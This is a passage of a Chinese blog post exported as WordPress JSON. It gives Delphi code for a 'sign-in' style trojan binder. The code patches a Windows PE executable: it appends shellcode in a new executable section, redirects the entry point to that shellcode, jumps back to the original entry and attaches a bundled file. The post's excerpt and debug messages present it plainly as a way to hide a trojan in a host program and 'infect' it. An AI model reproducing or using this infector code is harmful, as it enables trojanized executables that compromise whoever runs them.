bsp;&nbsp;\/\/\u5199\u5165\u4ee3\u7801\n&nbsp;&nbsp;&nbsp;&nbsp;SetFilePointer(F,&nbsp;SEChea.PointerToRawData&nbsp;+&nbsp;SEChea.SizeOfRawData,&nbsp;nil,&nbsp;FILE_BEGIN);\n&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u539f\u6765\u7684\u6587\u4ef6\u6ca1\u6709\u5bf9\u9f50\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;Align(SEChea.SizeOfRawData,&nbsp;FileAlign)&nbsp;&lt;&gt;&nbsp;&nbsp;SEChea.SizeOfRawData&nbsp;then\n&nbsp;&nbsp;&nbsp;&nbsp;begin\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jmp&nbsp;:=&nbsp;$00;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i&nbsp;:=&nbsp;0&nbsp;to&nbsp;Align(SEChea.SizeOfRawData,FileAlign)&nbsp;-&nbsp;SEChea.SizeOfRawData&nbsp;-&nbsp;1&nbsp;do\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WriteFile(F,&nbsp;jmp,&nbsp;1,&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;end;\n&nbsp;&nbsp;&nbsp;&nbsp;WriteFile(F,&nbsp;pShell^,&nbsp;nShellLen,&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;\/\/SHELLCODE\u4e4b\u540e\u662f\u8df3\u8f6c\u5230\u539fOEP\u7684\u6307\u4ee4\n&nbsp;&nbsp;&nbsp;NewSectionHeader.VirtualAddress&nbsp;:=&nbsp;SEChea.VirtualAddress\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;Align(SEChea.Misc.VirtualSize,SectionAlign);\n&nbsp;&nbsp;&nbsp;jmp&nbsp;:=&nbsp;$E9;\n&nbsp;&nbsp;&nbsp;OEP&nbsp;:=&nbsp;OEP&nbsp;-&nbsp;(NewSectionHeader.VirtualAddress&nbsp;+&nbsp;nShellLen)&nbsp;-&nbsp;5;\n&nbsp;&nbsp;&nbsp;WriteFile(F,&nbsp;jmp,&nbsp;sizeof(jmp),&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;WriteFile(F,&nbsp;OEP,&nbsp;sizeof(OEP),&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;\/\/\u5c06\u6700\u540e\u589e\u52a0\u7684\u6570\u636e\u75280\u586b\u5145\u81f3\u6309\u6587\u4ef6\u4e2d\u5bf9\u9f50\u7684\u5927\u5c0f\n&nbsp;&nbsp;&nbsp;&nbsp;jmp&nbsp;:=&nbsp;$00;\n&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i:=0&nbsp;to&nbsp;Align(nShellLen,FileAlign)&nbsp;-&nbsp;nShellLen&nbsp;-&nbsp;6&nbsp;do\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WriteFile(F,&nbsp;jmp,&nbsp;1,&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;\/\/\u65b0\u533a\u5757\u4e2d\u7684\u6570\u636e\n&nbsp;&nbsp;&nbsp;Move(&#39;.data&#39;,&nbsp;NewSectionHeader.Name,&nbsp;5);\n&nbsp;&nbsp;&nbsp;NewSectionHeader.PointerToRawData&nbsp;:=&nbsp;SEChea.PointerToRawData&nbsp;+&nbsp;Align(SEChea.SizeOfRawData,&nbsp;FileAlign);\n&nbsp;&nbsp;&nbsp;NewSectionHeader.Misc.VirtualSize&nbsp;:=&nbsp;nShellLen;\n&nbsp;&nbsp;&nbsp;NewSectionHeader.SizeOfRawData&nbsp;:=&nbsp;Align(nShellLen,&nbsp;FileAlign);\n&nbsp;&nbsp;&nbsp;NewSectionHeader.Characteristics&nbsp;:=&nbsp;$E0000020;\/\/\u65b0\u533a\u5757\u53ef\u8bfb\u53ef\u5199\u53ef\u6267\u884c\n&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;SetFilePointer(F,&nbsp;DosHeader._lfanew&nbsp;+&nbsp;SizeOf(TImageNtHeaders)&nbsp;+&nbsp;SizeOf(TImageSectionHeader)&nbsp;*&nbsp;nOldSectionNo,&nbsp;nil,&nbsp;FILE_BEGIN);\n&nbsp;&nbsp;&nbsp;\/\/\u5199\u5165\u65b0\u7684\u5757\u8868\n&nbsp;&nbsp;&nbsp;WriteFile(F,&nbsp;NewSectionHeader,SizeOf(TImageSectionHeader),dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;nNewImageSize&nbsp;:=&nbsp;NTHeader.OptionalHeader.SizeOfImage&nbsp;+&nbsp;Align(nShellLen,&nbsp;SectionAlign);\n&nbsp;&nbsp;&nbsp;nNewSizeofCode&nbsp;:=&nbsp;NTHeader.OptionalHeader.SizeOfCode&nbsp;+&nbsp;Align(nShellLen,&nbsp;FileAlign);\n&nbsp;&nbsp;&nbsp;NTHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress&nbsp;:=&nbsp;0;\n&nbsp;&nbsp;&nbsp;NTHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size&nbsp;:=&nbsp;0;\n&nbsp;&nbsp;&nbsp;NTHeader.OptionalHeader.SizeOfCode&nbsp;:=&nbsp;nNewSizeofCode;\n&nbsp;&nbsp;&nbsp;&nbsp;NTHeader.OptionalHeader.SizeOfImage&nbsp;:=&nbsp;nNewImageSize;\n&nbsp;&nbsp;&nbsp;NTHeader.FileHeader.NumberOfSections&nbsp;:=&nbsp;nOldSectionNo&nbsp;+&nbsp;1;\n&nbsp;&nbsp;&nbsp;NTHeader.OptionalHeader.AddressOfEntryPoint&nbsp;:=&nbsp;NewSectionHeader.VirtualAddress;\n&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u5199\u5165\u66f4\u65b0\u540e\u7684PE\u5934\u7ed3\u6784\n&nbsp;&nbsp;&nbsp;&nbsp;SetFilePointer(F,&nbsp;DosHeader._lfanew,&nbsp;nil,&nbsp;FILE_BEGIN);\n&nbsp;&nbsp;&nbsp;WriteFile(F,&nbsp;NTHeader&nbsp;,Sizeof(TImageNTHeaders),&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;TempPath&nbsp;&lt;&gt;&nbsp;&#39;&#39;&nbsp;then&nbsp;&nbsp;\/\/\u5c06\u9644\u52a0\u6570\u636e\u5199\u56de\u6765\n&nbsp;&nbsp;&nbsp;&nbsp;begin\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;F1&nbsp;:=&nbsp;CreateFile(PChar(TempPath),&nbsp;GENERIC_READ,&nbsp;FILE_SHARE_READ,&nbsp;nil,&nbsp;OPEN_EXISTING,&nbsp;0,&nbsp;0);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;F1&nbsp;=&nbsp;INVALID_HANDLE_VALUE&nbsp;then&nbsp;Exit;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetFilePointer(F,&nbsp;NewSectionHeader.SizeOfRawData&nbsp;+&nbsp;NewSectionHeader.PointerToRawData,&nbsp;nil,&nbsp;FILE_BEGIN);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;repeat\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReadFile(F1,&nbsp;buf,&nbsp;sizeOf(buf),&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WriteFile(F,&nbsp;buf,&nbsp;dReadNum,&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;until&nbsp;dReadNum&nbsp;=&nbsp;0;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(F1);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DeleteFile(PChar(TempPath));\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;\n&nbsp;&nbsp;&nbsp;&nbsp;end;\n&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u5199\u5165\u9644\u52a0\u6570\u636e\n&nbsp;&nbsp;&nbsp;&nbsp;F1&nbsp;:=&nbsp;CreateFile(PChar(ASrcFileName),&nbsp;GENERIC_READ,&nbsp;FILE_SHARE_READ,&nbsp;nil,&nbsp;OPEN_EXISTING,&nbsp;0,&nbsp;0);\n&nbsp;&nbsp;&nbsp;&nbsp;try\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;F1&nbsp;=&nbsp;INVALID_HANDLE_VALUE&nbsp;then\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{$IFDEF&nbsp;DEBUG}&nbsp;AddLog(&#39;\u6253\u5f00\u6e90\u6587\u4ef6\u5931\u8d25&#39;+ASrcFileName);&nbsp;{$ENDIF}\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Data.ID&nbsp;:=&nbsp;$88888888;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Data.Offset&nbsp;:=&nbsp;NewSectionHeader.SizeOfRawData&nbsp;+&nbsp;NewSectionHeader.PointerToRawData;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Data.Size&nbsp;:=&nbsp;GetFileSize(F1,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetFilePointer(F,&nbsp;$30,&nbsp;nil,&nbsp;FILE_BEGIN);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WriteFile(F,&nbsp;Data,&nbsp;SizeOf(TDatas),&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetFilePointer(F,&nbsp;0,&nbsp;nil,&nbsp;FILE_END);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetFilePointer(F1,&nbsp;0,&nbsp;nil,&nbsp;FILE_BEGIN);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;repeat\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReadFile(F1,&nbsp;buf,&nbsp;sizeOf(buf),&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WriteFile(F,&nbsp;buf,&nbsp;dReadNum,&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;until&nbsp;dReadNum&nbsp;=&nbsp;0;\n&nbsp;&nbsp;&nbsp;&nbsp;finally\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(F1);&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;end;\n&nbsp;&nbsp;finally\n&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(F);\n&nbsp;&nbsp;end;\n&nbsp;&nbsp;{$IFDEF&nbsp;DEBUG}&nbsp;AddLog(ASrcFileName+&#39;\u611f\u67d3\u6210\u529f&#39;+ADesFileName);&nbsp;{$ENDIF}\nend;<\/pre>\n<p><span style=\"font-family:\u5b8b\u4f53\">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\u3010\u7248\u6743\u58f0\u660e\u3011:&nbsp;\u672c\u6587\u539f\u521b\u4e8e<a href=\"http:\/\/2Lin.net\">http:\/\/2Lin.net<\/a>,&nbsp;\u8f6c\u8f7d\u8bf7\u6ce8\u660e\u4f5c\u8005\u5e76\u4fdd\u6301\u6587\u7ae0\u7684\u5b8c\u6574,&nbsp;\u8c22\u8c22!<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e0a\u6b21\u5199\u5230\u4f7f\u7528\u9644\u52a0\u6346\u7ed1\u6587\u4ef6\u7684\u65b9\u5f0f.\u3000\u8fd9\u6b21\u4ecb\u7ecd\u4f7f\u7528\u7b7e\u5165\u5f0f\u6346\u7ed1\u7b7e\u5165\u5f0f\u6346\u7ed1\u7684\u539f\u7406\u4e5f\u5f88\u7b80\u5355\uff0c\u4e5f\u662f\u628a\u6728\u9a6c\u7a0b\u5e8f\u9644\u52a0\u5230\u7a0b\u5e8f\u5c3e\u90e8\u3000\u7136\u540e\u5728\u539f\u7a0b\u5e8f\u91cc\u6dfb\u52a0\u4e00\u4e2a\u4ee3\u7801\u8282\u7528\u6765\u628a\u6728\u9a6c\u7a0b\u5e8f\u91ca\u653e\u51fa\u6765.\u3000\u6700\u540e\u5c06\u539f\u7a0b&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[4],"tags":[],"_links":{"self":[{"href":"https:\/\/www.2lin.top\/index.php?rest_route=\/wp\/v2\/posts\/87"}],"collection":[{"href":"https:\/\/www.2lin.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.2lin.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.2lin.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.2lin.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=87"}],"version-history":[{"count":0,"href":"https:\/\/www.2lin.top\/index.php?rest_route=\/wp\/v2\/posts\/87\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.2lin.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=87"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.2lin.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=87"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.2lin.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=87"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}